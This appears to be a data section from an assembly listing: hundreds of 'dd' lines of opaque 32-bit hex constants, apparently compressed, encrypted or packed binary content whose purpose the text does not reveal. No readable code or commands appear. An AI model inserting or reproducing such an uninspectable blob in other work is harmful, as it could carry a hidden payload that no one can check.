dd 0E3D63B16h, 0B0E57DF3h, 63E80013h, 56A3113h, 0F3009433h
dd 0FBEA038Ch, 3E185D71h, 0F6120DE3h, 21BF0028h, 0AF84B0A0h
dd 491FDF00h, 3806F37Dh, 640C000Ah, 559F21EEh, 1B58883Eh
dd 0E290048h, 0EB1F031Eh, 804B0082h, 43422E3Bh, 0C9001092h
dd 0A58F008h, 0F66D2874h, 21EF003Dh, 53AF5290h, 2007591h
dd 347B9CAh, 0F285AD79h, 69050046h, 8F554074h, 2000B826h
dd 0F5456E90h, 9C245Ah, 0ED64C696h, 666F99C0h, 770B7400h
dd 79657261h, 4C470014h, 3FFF6387h, 4800CAEFh, 0EC2D1C95h
dd 923A530h, 88B24BB8h, 0A1F66180h, 0F048BC0Ch, 3A7D0049h
dd 213912A3h, 420F00B1h, 5D8B090Ah, 550129F8h, 0BC041E84h
dd 30F4A275h, 0F91F6137h, 0F039619Dh, 990E2EC7h, 8478325Dh
dd 7980A356h, 98A598DDh, 1A4EA81h, 0AD348542h, 0EB9102FBh
dd 0D44731E0h, 7AB883Fh, 53BFC41h, 0FA0C504Ch, 450A0023h
dd 0A11FEB84h, 2B00CBCDh, 108BE002h, 0D8E23Bh, 0ADEEC70h
dd 3C8E1295h, 2DEF0600h, 1B9EAE9h, 0D92B00C2h, 51F62C38h
dd 5200C6B4h, 1F18B68Dh, 7B923Dh, 3F813684h, 62382A7Dh
dd 438BB100h, 78030998h, 4CB300E8h, 0B89192Fh, 1B0314EFh
dd 1FFD120Ah, 0A09FB7F3h, 68359651h, 0F9B90FC8h, 8002002h
dd 16BC90B1h, 0E800A0B8h, 0F6E0923Ch, 30106150h, 0BA880C06h
dd 0FC00580Eh, 0E80814C8h, 0E2AAAF93h, 0C31F03E6h, 0E119DB1Ah
dd 0F3F56DF8h, 1D1BEF00h, 1E568B51h, 1A7E00A2h, 0FAC7C9D2h
dd 4600FCD9h, 3352A9BAh, 88B311h, 34591404h, 2CF7EB86h
dd 0CD829D00h, 7949D7B0h, 2185005Bh, 27017548h, 702C6919h
dd 8902ECB1h, 602D0C46h, 0EB178382h, 90450EF0h, 6C481F36h
dd 702E4020h, 1A3566E9h, 2D002A90h, 3925BA80h, 162B4B9h
dd 1C460AC7h, 0D8B24328h, 183D27EBh, 2221E3Ch, 110F00FCh
dd 0C829C053h, 2462C057h, 44200C84h, 2C805400h, 9127487Eh
dd 965F00AEh, 516B0F15h, 841F8110h, 3CC0468Dh, 32DA53F4h
dd 0EBECFFh, 81068920h, 0B3042A7Eh, 85FE8B00h, 0FF1FA363h
dd 50EE004Eh, 0E82836EAh, 0C800747Bh, 2D8CC944h, 730B81h
dd 0E2B1AABAh, 0AB395019h, 87AD183Ch, 5489435Ch, 4B8D61D0h
dd 0A6A50096h, 9136FFF0h, 5A0E9347h, 278B4AB0h, 0D96E4Eh
dd 0BC8014C3h, 241D0406h, 0C0165B1Ah, 2B21FA52h, 5C00C2E2h
dd 6764744Ah, 398CA315h, 0EB005D2Ah, 5445C622h, 0B2039552h
dd 6A580129h, 5E85E8F6h, 83E800F5h, 3B74B461h, 5890B04Ch
dd 2417DB00h, 0C67E6B6Fh, 15360010h, 0FA077502h, 0E4F45722h
dd 0B0C35E30h, 124B47Ch, 44B8888Ch, 6012EB69h, 62017BFFh
dd 0DD2FDB96h, 12308D4Ah, 0CF041D49h, 8D44114h, 7BDEB14Eh
dd 0E424B802h, 1B1140B3h, 9C18051Ah, 0E014329Fh, 24070458h
dd 0D2A93EC7h, 82B52590h, 880207C0h, 0A021FB08h, 0A5C11F1h
dd 0FE010700h, 0C3E875CDh, 6F2800BDh, 0FA810C91h, 63FCBA49h
dd 681CF1A0h, 0C30EEF03h, 0A0AF20D4h, 1467B8F7h, 8EE9B716h
dd 253CCE0Fh, 0F0498DC0h, 0D8005040h, 1AA8EA2Ah, 0A830Eh
dd 197702FAh, 8B0B4254h, 530FE1F4h, 0A9132524h, 2CF200C2h
dd 733D7482h, 0DFC34C48h, 0BF3FF000h, 0B479D37Fh, 0F1DA1E07h
dd 0B09021DBh, 200A10h, 0C7E81803h, 89C6B335h, 1F5E0439h
dd 0F20056FFh, 643E5195h, 6AB80031h, 424B7166h, 8F01BAF1h
dd 0F4BE6E70h, 0B7C49FA1h, 7B30094h, 9D22B02Dh, 467A7881h
dd 2E753D00h, 3143EF9h, 0F37258h, 0F62B3953h, 7FD13B06h
dd 0B71658h, 61FDCAF4h, 5F3D024h, 2A1ACA4h, 0EB71C033h
dd 420001DAh, 44CAFE46h, 738F93Dh, 51A7753Ah, 36451002h
dd 0C5005805h, 74493141h, 9921B7h, 0ABD6775Ch, 0CD713307h
dd 0B5BA8E00h, 0F98341D0h, 7E3A1D40h, 10E98021h, 0CDB95187h
dd 53260D00h, 0B8F2E79h, 7757919h, 52FD55Bh, 0B560A008h
dd 1A01AC45h, 9CE425A8h, 7B6028A2h, 2BECFD4Eh, 0B7E00CBh
dd 0D118FBB2h, 2530BEE8h, 5BFDFE5Ah, 0BA1D0048h, 0ABD986Bh
dd 0C100544Ah, 535A0E9h, 0F81EDB28h, 3B240407h, 0C07D0830h
dd 0F1898E7h, 0FF118800h, 0CCE1B740h, 27D33B58h, 0ACE25A80h
dd 0CA1252CBh, 0A2C9D41Ch, 9E91980h, 597C74Dh, 5905C358h
dd 7AED0E51h, 310021CBh, 0AB5A6C62h, 7509A400h, 81F04C24h
dd 83FA002Dh, 164F4EEh, 0F700AEF2h, 188E49D1h, 0ED22B5Ah
dd 3051970Ah, 0D087596Fh, 0AB3790D7h, 74007269h, 1C1F7C5Ch
dd 103D45h, 8D0F0D14h, 0C13F917Fh, 3CE26D2Eh, 0DB92F800h
dd 3855122Ch, 19034874h, 0E8C1C9DEh, 24AB28F0h, 0F14161Fh
dd 84180CC0h, 0F06149AAh, 228800ACh, 451F8004h, 82484AD0h
dd 0A2D800AAh, 0BC427D48h, 0F9400044h, 0E0AC213Ch, 313B0A73h
dd 3E9B4C53h, 0F4C38058h, 656A6E2Dh, 0EED900E7h, 820114AEh
dd 7F00FF80h, 1C3F0AB9h, 223A0h, 5C88840h, 8E08FA50h, 479CEE0Eh
dd 0C340DE0Ch, 0F424E10Fh, 80180012h, 16989611h, 0BC1E2081h
dd 28DE19BEh, 1CEE6BC7h, 95B307BBh, 0B7FC0DE0h, 0BA210043h
dd 0A5108023h, 1903E8D4h, 2A0E8479h, 8891A0E7h, 0F4C4FF40h
dd 0B5E61F20h, 0A002C02Dh, 0E35FA931h, 4103000h, 1BC908BFh
dd 4034008Eh, 0A2BC2EC5h, 3700B122h, 3A0E76FAh, 70DE0B6Bh
dd 0BDE80091h, 8AC7233Dh, 6200883Eh, 0EBC504ACh, 0E041AD78h
dd 177A0080h, 0D71026B7h, 90E044D8h, 916EAC2Eh, 0A8878600h
dd 5057B4F5h, 1C169503h, 4BA968h, 0CCEDA114h, 0C2011BCEh
dd 1F4E7AD3h, 87F484A0h, 59510F61h, 0C8205267h, 749019A5h
dd 6F76B907h
dd 3A00557Ah, 1F4200Fh, 0CECB8F27h, 0C018585Ch, 0F8039409h
dd 813F3978h, 0E500E77Ah, 0F36B90Bh, 0A18F07D7h, 0DF015F60h
dd 40E674Eh, 40F2C9CDh, 2296E862h, 55810048h, 0FC6F7C07h
dd 9E0FA065h, 402B70B5h, 9DC5ADA8h, 0D5F00069h, 1BFFCFA6h
dd 78031F49h, 14A3D0B6h, 16C5809Bh, 0EFB300ABh, 13E0413Dh
dd 5426E98Ch, 93002D03h, 17AAD0A8h, 17FE0E6h, 0B616A12Bh
dd 0C06B4212h, 39002755h, 0E070F78Dh, 0E030F47Ch, 0E33C01C9h
dd 8A5296FFh, 908EECE7h, 9D009E70h, 0AA7EEBFBh, 0E08C4351h
dd 5C6A002Fh, 0D226FC19h, 7600F4BBh, 0F2CCE30Fh, 7384C729h
dd 0D2444881h, 0F7E09000h, 9F76A427h, 17F438h, 10AEF8AAh
dd 7BC4C5E3h, 5970FAh, 36E9B09Ch, 64F28AD6h, 0D40045E0h
dd 0E1EBF7F3h, 3D7A4Ah, 621DCF95h, 0DC0740A2h, 0B83ED80Eh
dd 0C7460039h, 0A60E91h, 3D19A0AEh, 1703A3E3h, 81750C01h
dd 0C9769886h, 4DF220h, 3993A7E4h, 1B8353Bh, 53EDB200h
dd 0C53D5DE5h, 8BD80ECFh, 5A0B929Eh, 20A15580h, 0A50054C0h
dd 61378C1Fh, 0E0B15CBEh, 895D0025h, 0F867DBF9h, 2700F307h
dd 0B0C8A2BFh, 0A06E80DDh, 2097D9h, 6052028Ah, 750F25C4h
dd 0D559F000h, 351162C0h, 58CA03AEh, 0B45B3F7Bh, 0D3E7F7A8h
dd 0F6C8BA03h, 0B864477Fh, 78030Ch, 951FF14h, 0C2C459D1h
dd 238F0850h, 0D055B200h, 0FF332F11h, 149B1C61h, 185F007Bh
dd 875C90Bh, 7ED2E816h, 0C0DBCA0Eh, 7910C158h, 0DAF70B0Ah
dd 4200EE30h, 1CF99C3h, 1D34B300h, 0F7DBF3D9h, 7E3C0148h
dd 0DAE98B12h, 0E475E8D6h, 0D139F601h, 3BD23AE0h, 0A0D783EFh
dd 0E0B72FDh, 0F3EC0477h, 2B740540h, 63981B7Ch, 5BE7E200h
dd 0B3C4C3F7h, 7FC29h, 0A74BAF46h, 0F30EE57Eh, 4AD2332Eh
dd 0AA8B5600h, 7123DC0Ch, 83050008h, 1175FFFEh, 0B03CA80h
dd 9FF381F2h, 516C15Bh, 248F1DCh, 0A8FFCDC3h, 2EE00437h
dd 2C033AE5h, 0AAAEC023h, 2F91E8AFh, 8C2B0728h, 0A07C6622h
dd 7A7B6A8Bh, 8EF39D3Fh, 2059215Dh, 0C8901D07h, 0F0950ECAh
dd 562072F9h, 2992B3F4h, 0F2F539h, 3BD823D6h, 1123371h
dd 7D5B022Fh, 0D8464915h, 17280ADh, 7C20F900h, 300AAC11h
dd 1C05001Ah, 0ABB88FD0h, 0E238D331h, 60A5800Fh, 5CFBE02Ah
dd 6711Ch, 8B1FFAC1h, 99E63AC2h, 0F8D33300h, 487FAD38h
dd 7F5E76F9h, 0E7C30h, 4C65E6E8h, 0D8F8EA39h, 41919700h
dd 750A4D8Ah, 24051727h, 372101DAh, 0E86048B8h, 0F4712C12h
dd 0BF0A290Fh, 1F09A098h, 38A640Ch, 15BD595Eh, 88F863FCh
dd 0F10052ECh, 4D91421Ch, 0FE66C0Bh, 685DF82Bh, 504E7CE1h
dd 3C0F6083h, 2F0F0100h, 453366BCh, 987B7530h, 9D447EACh
dd 0D424E00h, 0E1F2302h, 3F1143h, 0F4C76603h, 16974B6Ch
dd 7F9AB3h, 92520989h, 64580A38h, 44C03E7h, 0F8D38056h
dd 0D0BFA4h, 29403B34h, 0C82A23E9h, 0E8150A0Ch, 2E78407Ah
dd 83B327h, 0E3B4BC8Bh, 2500AA13h, 0BAED31EFh, 799D5788h
dd 0F22912F5h, 63CF004Ah, 2CA3E1D3h, 3200BF90h, 28150183h
dd 7331B10h, 38052089h, 4E46C0F2h, 0F31C9892h, 0AC4025FFh
dd 0A8C51454h, 0A4080032h, 9C1CA039h, 9803478Eh, 53859421h
dd 0D7A3F0B8h, 83430705h, 715CCC3Dh, 0F90A7D03h, 0E84A80E2h
dd 6850385Ah, 7C6A001Ch, 3E8F2D40h, 143D467Bh, 8EA3A60Ch
dd 43A15300h, 0F35031h, 893D0DB7h, 3E19E01Dh, 4F4C150Fh
dd 9FE80083h, 0A32F28h, 541CD422h, 31BF56E7h, 1400A57Ch
dd 7CC5771Eh, 3E4E3215h, 7E802DAFh, 29977A0Ah, 1307282Bh
dd 3F140819h, 0B11E07Fh, 4CA7CAh, 0C80D8A86h, 58B281Dh
dd 0FF84D0A0h, 0FB013E78h, 6D2C1535h, 9270C3C1h, 346E0356h
dd 18C5BA7h, 8BE022D0h, 1273BD00h, 538804D9h, 0F8C40081h
dd 844B50ACh, 0A00A9E9h, 48D4A185h, 0AD8734h, 0D732D5D0h
dd 82D80F2Fh, 92EE660h, 0A0821h, 1394A0A1h, 0B8180EA3h
dd 0E80B9C00h, 93324A2Bh, 49080012h, 0BA28047Bh, 63759513h
dd 7C75F200h, 295026F9h, 923D009Dh, 32AC4D8Bh, 0DA005351h
dd 0D5902A5Dh, 0E194Eh, 0F230090Ch, 86C59E3Fh, 0D835FF00h
dd 0B4B9283Dh, 0AF38004Eh, 20D94A21h, 161ECC32h, 34C05085h
dd 9658ADCh, 78C7988h, 0EB604CD3h, 483DC321h, 7ECC24F9h
dd 2100B112h, 1CF73EC4h, 23B880BCh, 34E2B403h, 0E3303172h
dd 28183E2Ch, 20912407h, 18E4A0C8h, 393B1472h, 8F0C9F10h
dd 440085Fh, 0FCCA11EEh, 0F8E53080h, 0F039F460h, 8EEC1C00h
dd 82F3E810h, 30E476CAh, 0DC22E065h, 1C09D839h, 83538ED4h
dd 0E044291Bh, 7C84091h, 0BC92653Ch, 0C00230A5h, 0FF02E181h
dd 8F319844h, 0C9984017h, 27080049h, 5211108Ch, 341DE4E2h
dd 519D1821h, 0F3220D80h, 989FF035h, 3DF17AF4h, 390672F2h
dd 0E4F51CF4h, 0F723F600h, 0F9C8F891h, 72FA01E4h, 1CFC39FBh
dd 0FE228CFDh, 1E0087Fh, 0E291E123h, 0C4E4E3C8h, 3900E572h
dd 8EE71CE6h, 9843E879h, 0EFE9013Bh, 6518EA8Ah, 0ECEE81EBh
dd 0EE1CED39h, 23804ABFh, 0C8D191D0h, 0D33AE4D2h, 0D504F477h
dd 0D739D672h, 0D96440EFh, 0DB91DA23h, 0E4DCC800h, 39DE72DDh
dd 0C01C30DFh, 0C223C122h, 0C8C39100h, 72C5E4C4h, 0C7391EC6h
dd 0C907601Ch, 0CB91CA23h, 0CD020089h, 1939CE72h, 22B01CCFh
dd 91F560B1h, 0B4C8B300h, 0B672B5E4h, 1CB71839h, 23B922B8h
dd 0BB91BA00h, 0BDE4BCC8h, 39BE0072h, 0B8DC14BFh, 540043C9h
dd 861BE882h, 0F0D0211Ch, 793AF050h, 4A280F44h, 0B762FC55h
dd 84C39FCFh, 0C2991E8h, 10787406h, 0E234F995h, 132000Eh
dd 754943BEh, 9390618h, 63780345h, 0E8747065h, 0FE559089h
dd 0A838003Dh, 0DC104420h, 68005456h, 1C729CA1h, 480A45h
dd 5B706165h, 5C5EEC51h, 0E726C874h, 100D044h, 754F450Ch
dd 66CC0074h, 6D65044Dh, 7901726Fh, 4815DCECh, 17305C56h
dd 90B87540h, 60BEA87h, 0DD6E4945h, 0F9E36EBDh, 9058D8A0h
dd 4839EFE8h, 10C0766h, 6EF06574h, 7206C61h, 58AFF8D8h
dd 54734064h, 88032BC4h, 6C475A12h, 0FC57E808h, 604000D4h
dd 100924EAh, 0CA020EA4h, 58B015B8h, 78DA80ECh, 70850Ch
dd 4402450Ah, 79427669h, 0BB805A06h, 0DE4C906Fh, 1D0AF16Ah
dd 52C0C0C9h, 676E6101h, 602B6543h, 0ECCD9F5h, 0BF0C48F2h
dd 764F2800h, 6C6609AFh, 0A5776F00h, 5C7BBC74h, 1A4E823h
dd 0C245D64h, 0F8614D02h, 0B3019868h, 59571490h, 0A0D7A158h
dd 0EE427018h, 1B4E6E9h, 69196076h, 0F44F1D64h, 7AC1AB90h
dd 84F40E6Ch, 2CB789F0h, 0DA5C025h, 0CE1EC42Bh, 8A6CC10Eh
dd 11D04C61h, 0F95A001Ch, 7D0840A4h, 6E245505h, 90012764h
dd 0C8585E74h, 5897EBD0h, 8A00FE88h, 6F501D60h, 850ED93Ch
dd 0BC5CD02Bh, 0E50C12C1h, 58D1F930h, 1EA43E8h, 70744D73h
dd 0F65B2C11h, 0D4A7FA8Fh, 4345100Dh, 0B0E8BA6Fh, 0DCD88A28h
dd 14C14ADCh, 10A0CCCEh, 63E941F9h, 177338F4h, 8956AEh
dd 8E926168h, 0E807BCA1h, 0C21E8BF7h, 0C78C1750h, 5078072Ch
dd 60799A72h, 1FE4656Ch, 5C959001h, 4340F8B8h, 20E0A80h
dd 61745345h, 656B6301h, 9C900A81h, 0E843F6FCh, 910900BCh
dd 0E741270h, 0F2396C6Bh, 58F4870Ah, 234045F6h, 156B8C8h
dd 730D6148h, 0C450A094h, 0CD078F5Dh, 0A45C4E40h, 0C582C8B0h
dd 107D0C65h, 6FC0465Ah
dd 8764493Eh, 0D960B02Bh, 431B0E39h, 0C0C26204h, 0FC734272h
dd 0C9012BDh, 0A1B60E57h, 0A40F00BDh, 0B266ACA0h, 0A6393Eh
dd 0E903FF69h, 0E7F24F2h, 77535432h, 0C1650013h, 661F10EAh
dd 4EF3F700h, 98DF085Dh, 13060001h, 146AB55Bh, 8F0078DEh
dd 0A1E5B2CBh, 0A890E0h, 9561DBE8h, 41E0FA4h, 0BAC35B00h
dd 10A93629h, 17420020h, 0B1743A62h, 6000D325h, 0BA8F892h
dd 83E79h, 0C60F7889h, 4F10FC45h, 0BAE54D00h, 0E8B642B0h
dd 0DD5500BBh, 2BC256ADh, 221C6925h, 3AFB028Ch, 51530064h
dd 0D419AADEh, 2A17078Ah, 0D03FB2F6h, 0E95AC393h, 6F00787Dh
dd 0E3C64B7Fh, 1F82584h, 0FF3C6BF3h, 0F84E6A1Eh, 5C3C8A02h
dd 85F5803Eh, 0CFE1B88h, 0B8C50046h, 35119750h, 0E2002E0Eh
dd 6A0F10A8h, 23C03h, 884F0675h, 0C97FFF85h, 77C77C0Bh
dd 20680E9Ch, 0AFB9FD2h, 905F24E0h, 974E003Bh, 8D5705F0h
dd 0B901560Eh, 0BB7FA74Ch, 2C108AC7h, 3E5C78A0h, 8080953Ah
dd 0DAACE805h, 0E93E0845h, 50330173h, 5264F0DCh, 1E48F860h
dd 40FC96F8h, 416D2B0Eh, 401DB297h, 0FFF7EEh, 145A8FBFh
dd 0A51983h, 0B6F41CECh, 0FA0E3816h, 1ADD1E01h, 0A0EB080Dh
dd 0C4DFCh, 529D6590h, 0F0452926h, 38911A01h, 88EAEE10h
dd 1C3C4D0h, 0C2324FABh, 0CC9013BCh, 0C70129A1h, 30A73997h
dd 0B8CC60D0h, 0C8F0FFFEh, 0D7140E89h, 764090C3h, 4B34D66Fh
dd 70F4CA3Fh, 2B741100h, 3FF1E9C1h, 0AFA61C42h, 0C4C640D1h
dd 21335DFFh, 2276FD1Ch, 0EFF2EE80h, 3CB0F3h, 0A643164Ah
dd 573FFC62h, 0AA77560Eh, 0F7E38073h, 173CFFD1h, 0ECCA9Bh
dd 29384432h, 5E098C47h, 0D853515Fh, 4ACB0029h, 5D7F04Ch
dd 751F54C1h, 0F6404101h, 19962DAAh, 655A00D9h, 0D66B7817h
dd 5B001A11h, 865C4A63h, 6DD734h, 0C031CB0Ch, 83326809h
dd 0D9633700h, 0F3D2E124h, 7F876A6h, 0FF460B8Ah, 0A3067080h
dd 1E000A08h, 8303777Ah, 0DAC3E8h, 0FA202157h, 0EA01C23Ah
dd 0D00129ECh, 4858D874h, 9C20A750h, 5F151FA2h, 5EFF4088h
dd 0CA41EF89h, 0A40048FAh, 1226C446h, 7C509C9h, 5325F254h
dd 0AFB0A0ECh, 0F5727B5Ah, 182C8C00h, 66B542BFh, 0B49000ACh
dd 5DD950CCh, 0FB00F2F8h, 5761F0Eh, 8B9BBBh, 204A6C26h
dd 18A3390h, 4B00D57Fh, 0C81DC4D3h, 208D613h, 0C6064FE3h
dd 0AD401C04h, 0A0FB02Ah, 0EFBAF520h, 5480DC8Dh, 0BD04FC12h
dd 0DC344825h, 75A66900h, 9C644E10h, 1BD52800h, 14E38029h
dd 2EE73B6Fh, 9DFBE600h, 0C697A7E4h, 8C5E880Fh, 5D8980C1h
dd 66D42Fh, 3CEAB91h, 487DDD24h, 4A18FC0Eh, 690C0E1h, 2F027F4h
dd 0E4F1B50h, 50E0EBB0h, 320310ACh, 7DAA1425h, 13DBC88Ah
dd 3C05002Bh, 219663E9h, 0C00FD31h, 0B05618E8h, 0E4EC88FEh
dd 0EB450030h, 5752D1Ch, 0DA0031C0h, 525DE8ACh, 7E99Dh
dd 0BB0AFD3Ah, 0C8256034h, 0DF0FEBFEh, 61E414C4h, 2E903089h
dd 382965C4h, 0F726B4h, 751EE073h, 0B1BE51DCh, 5A1BA601h
dd 904AA48Bh, 273C0h, 7D80DB31h, 0A9AEB67h, 0C1CAC700h
dd 24D10104h, 2BA4009Ch, 0F0CCB87h, 0AAFE20B0h, 68520E00h
dd 0BFF47D3Eh, 8A360089h, 0E806B2E0h, 8700516Fh, 9E8B5931h
dd 76B59FE9h, 6DC10015h, 0A842274h, 3C707230h, 37773903h
dd 0D848DB6Bh, 1DA701D4h, 43C0B661h, 38052C3h, 70E49491h
dd 0D200B13Fh, 2C72BC53h, 106333Bh, 10FF1277h, 0C80C80A0h
dd 0A3007C48h, 551C2667h, 865874h, 0FEACDC4Fh, 88DF1624h
dd 7CF8C100h, 52733C9Bh, 85C0081h, 8D0C0E75h, 0C200DE34h
dd 0FEB60F06h, 2402A3h, 6062D29Dh, 0C863C612h, 88160800h
dd 0EB11642Dh, 445D0F22h, 5FADCDh, 6E198763h, 9E29121h
dd 3C29E700h, 1175991Ch, 0B514502Ah, 405858E8h, 962CD300h
dd 29DC4D03h, 0EAD13Bh, 5D8D9FA1h, 41F6D0h, 0A42F1399h
dd 80E6530Ch, 44F91600h, 5528B074h, 0C12A00EAh, 0D075580Ah
dd 0D3002DB9h, 0F723EB04h, 19AD43h, 1574800Fh, 48831B26h
dd 5BFDE101h, 0F166E8FCh, 0B022F8h, 884E412Dh, 0F2C35A06h
dd 8D09D300h, 595CAF75h, 12C1032Eh, 1084BD03h, 0EC163C91h
dd 0E21EBC92h, 3A80D94Ch, 7657872h, 28FC4Eh, 3B448F1Eh
dd 0DD80F789h, 75D00900h, 144D8DCAh, 0F12900AFh, 0DEE02591h
dd 727212F8h, 78043900h, 0B0060A76h, 98B10030h, 0B7AAB50Fh
dd 1524108Fh, 3D1D88h, 0E0953D85h, 179360h, 7902C009h
dd 0E8D8F70Eh, 8700ED7Eh, 5DE99F96h, 7B67B94h, 0EA753258h
dd 183DB0CEh, 0E000BA53h, 150189FEh, 3BD10F22h, 2F1DD429h
dd 40241F70h, 5B44FDC2h, 96001E52h, 3142EB02h, 2191C9h
dd 0E98215B0h, 0C8A240ACh, 350009FCh, 273624BEh, 0C3760595h
dd 931DA9AAh, 0F0719DF0h, 6AD6DB00h, 0EBE5AEAFh, 174A000Bh
dd 982347Ch, 0BA4F74F6h, 4D3B7EC0h, 37748E0h, 20CF013h
dd 0B28660D1h, 0CBF27E60h, 99E32903h, 88F94F6Fh, 5FB643h
dd 44504120h, 4525C740h, 36A9E005h, 0CCC00418h, 0B7FCA8h
dd 2EB3A01h, 0B36ECC70h, 3B47EF00h, 0CEFF3F74h, 45790Eh
dd 1F02C838h, 90129F46h, 0A398037Fh, 84DF51Fh, 4B38343h
dd 7349F0B8h, 139F206h, 0BA2576C2h, 0E0C5D752h, 4131B75h
dd 0E0015C3h, 0C68BA688h, 3BA02BEh, 0F8833D2Dh, 0B8117840h
dd 53130F00h, 8FFA4350h, 5F20089h, 3DE8CF46h, 4F3F9272h
dd 0F96200C1h, 0D95550C3h, 5C9F908Ch, 5D0959F7h, 62004A11h
dd 247E0B0Ch, 0F1A96F00h, 63B86164h, 4FC30120h, 0C19E194h
dd 0CEC28309h, 98D730E8h, 517B2Eh, 1F034467h, 0CBDCEC6Dh
dd 5000697Ah, 87911384h, 1C89D1h, 48547B38h, 90C47881h
dd 50E23F00h, 4BDFE3BFh, 0C3A800A4h, 3EC09773h, 2C00BBF0h
dd 4F511002h, 7E098C53h, 5AD100D3h, 2BC1816Bh, 0E0073BCAh
dd 1CAC247Dh, 75F8E370h, 6E4D0046h, 8D0DEEB8h, 0EF00F685h
dd 0EB7B5198h, 405D0Ch, 3860C072h, 437CC23Bh, 3000097Dh
dd 8BFCDB03h, 5444C9h, 9D66CAB5h, 2A95AC4Bh, 39A94700h
dd 0D8E03A7Dh, 2DA80092h, 8D280EEBh, 0A1016395h, 882F91E4h
dd 11D45E8Fh, 0DC040094h, 0DD340C92h, 2500D87Ah, 44073C0Dh
dd 0E429DF83h, 1820057h, 0FBE05A58h, 0BD011179h, 35B961B3h
dd 16CCB140h, 0EB064CEBh, 5A260500h, 890ECA95h, 925E1100h
dd 0F01C7404h, 0BA560048h, 45C61310h, 0B21CECFFh, 7341187Bh
dd 3CFA0C4Dh, 0E8147E8h, 0E04103F9h, 1E8FEA0h, 3A07C9EEh
dd 69C0B70Fh, 36E58060h, 123C00C3h, 6028F2D2h, 320081EAh
dd 0D116C203h, 0BE801h, 0D2D60C57h, 0DB78830Ah, 0D8060400h
dd 0BF673435h, 8B20041h, 8C9B18DDh, 8A7801A7h, 8E9E5E00h
dd 0A4CB80C0h, 70AA004Ch, 29577149h, 0E7FE78BAh, 0A5DA6900h
dd 46679D21h, 95790066h, 253C3359h, 0D53076CFh, 7542EE4Eh
dd 0A780015h, 54F8A10Bh, 1C3FD441h, 0C1F7926Dh, 387BB807h
dd 81D6A4F0h, 84470024h, 0C72CEF62h, 8A03C9DDh, 0DE28145Fh
dd 0A6C8A0E4h, 83C10004h, 5CF003E0h, 0D9F8CC21h, 70BEB407h
dd 7E0D664h, 85F6CEh, 1A21F549h, 520190B9h, 0C6F10F28h
dd 9E8CFA38h, 34C04FB0h, 0A0CBBBD0h, 6C7D62h, 0FEE78566h
dd 15FDD80Eh, 1A48A700h, 4057AB13h, 7FE00ECDh, 0E6C0048Dh
dd 0DCC52534h, 0BFB15603h, 98FE7D01h, 86820Fh, 373AB5A4h
dd 7727A116h
dd 26167E79h, 200E0C05h, 0DEF9800Dh, 18FB06h, 0C7FC6C67h
dd 465C3BF0h, 7732FE00h, 82481562h, 0E7E0E90h, 660018E6h
dd 0FE4E5C03h, 7501417Eh, 4D2CF767h, 3A704981h, 99A0004Ch
dd 0F169ECFDh, 3F7C6D62h, 8D67D10Eh, 2BF2403Bh, 3A4D40F0h
dd 0F9009FB1h, 0C36266BEh, 8100240Ah, 7564D9EEh, 228589h
dd 0BAFD887Fh, 4D84B34Eh, 7C492C00h, 694214A8h, 773C0092h
dd 8E5743E7h, 1BFA916Ch, 0F42E467Dh, 0B101388Bh, 0C6FFC461h
dd 6006E8h, 0E8EC6608h, 50A15683h, 7FCF8ADFh, 5CF8941Ah
dd 0F6690045h, 0E2A4B14h, 0E9860208h, 7B0A5A3Ch, 0E5BB0EC0h
dd 0B12E3D00h, 7C054C3Ah, 122D0011h, 0C3560A07h, 28F22AF7h
dd 9BEF7D03h, 803EF65Ch, 66F44Dh, 0E88EACBAh, 25962355h
dd 400E7B8h, 610A7775h, 8129FFh, 2CBDF645h, 489B6B28h
dd 37576400h, 50D6DED8h, 27903B53h, 0B55A1080h, 0CCA88C05h
dd 57E0C100h, 14921E02h, 0B94B076Bh, 80502CB4h, 0F14DC332h
dd 9300117Dh, 61745A86h, 4C9CC8h, 1B31FE4Ah, 0CCF45DBCh
dd 103B8C00h, 150B6C72h, 8029001Ch, 0DF67EB40h, 0DA031E32h
dd 20C33FDh, 1620D86Ch, 3B8A76F8h, 9F00B099h, 0E80BBC64h
dd 24009EDBh, 3B0A1956h, 1E479841h, 120EB64Ch, 0C11F75h
dd 0AF96916Eh, 0DD000158h, 0D1D4611Ch, 7218F704h, 59C30050h
dd 33879F07h, 0DD1F1644h, 4F813208h, 0E8148170h, 11B57F0h
dd 0ABD8845Ah, 0DC47A0C1h, 5C002B99h, 73E99B72h, 0DC159Ah
dd 1023B9B5h, 813DA827h, 8E565E0Bh, 0E18D804Bh, 76A68A7h
dd 348DB44Eh, 51F4C012h, 0DD76D343h, 501A979h, 88C74945h
dd 0C3D4FF04h, 651600DEh, 17A3A209h, 390024D3h, 8B507C92h
dd 126651h, 71026A2Dh, 415795BCh, 8A058600h, 52EB5FE4h
dd 63FE0278h, 592E51F8h, 5CA7DDE0h, 8037733Fh, 101F05D9h
dd 3FBD06BFh, 2F00C933h, 89715ACBh, 0F2F60D93h, 770C1D5Ch
dd 8136D303h, 0F04CB96Fh, 2CC3990h, 9978F068h, 8C4208C6h
dd 0D8001CD6h, 0BBFC2CDBh, 65600B1h, 1C6514BEh, 440EBF30h
dd 606A550Bh, 503EAB9Ah, 51E6B9h, 1E5E5F4Ah, 8485343h
dd 125BCD00h, 0F4910E59h, 7EC6006Bh, 0C4234A3Bh, 38032874h
dd 0CBC79087h, 2D06E843h, 0A0C00FAh, 0AE750DFBh, 74034461h
dd 5E2C9022h, 7B99805h, 0F9640EB4h, 988194A8h, 0C8A43206h
dd 8300D768h, 713152C0h, 0EE2522A5h, 2A53001Eh, 7508F073h
dd 7A00B19Ch, 176C9562h, 0E9772Ch, 67B024CCh, 96B8BF2Ah
dd 90A5A600h, 469F4887h, 13D61F2Fh, 7281BFCBh, 0B84078CCh
dd 8043F034h, 58D048h, 8E2938E3h, 50FF1204h, 22FB39h, 0BE43D47Ah
dd 0C325B959h, 1E376400h, 0ECB74489h, 4B3F261Ah, 686A062Eh
dd 0E538520Ch, 0D8948082h, 43B8046h, 0CA3500D6h, 3EB15B6Ch
dd 17029822h, 5E386DA1h, 9C3060FCh, 0DF90C6h, 0BBA2729h
dd 0E71A6B09h, 0EDE24B07h, 0EC906813h, 35C64Eh, 0FD730490h
dd 0D00564FAh, 806A263Ch, 50304253h, 7AF9C68h, 8F36DEEh
dd 0AC03E1C0h, 4CE1FE13h, 0DBA8D52Ch, 0F8FC23F9h, 0CB03BD8Eh
dd 8C31909Ch, 0A1D8C84Ah, 9EA400F0h, 496F7121h, 0F73B281Ah
dd 0AA9C07B2h, 80BB8822h, 0A630B58Bh, 826D090Ah, 2DFC3D60h
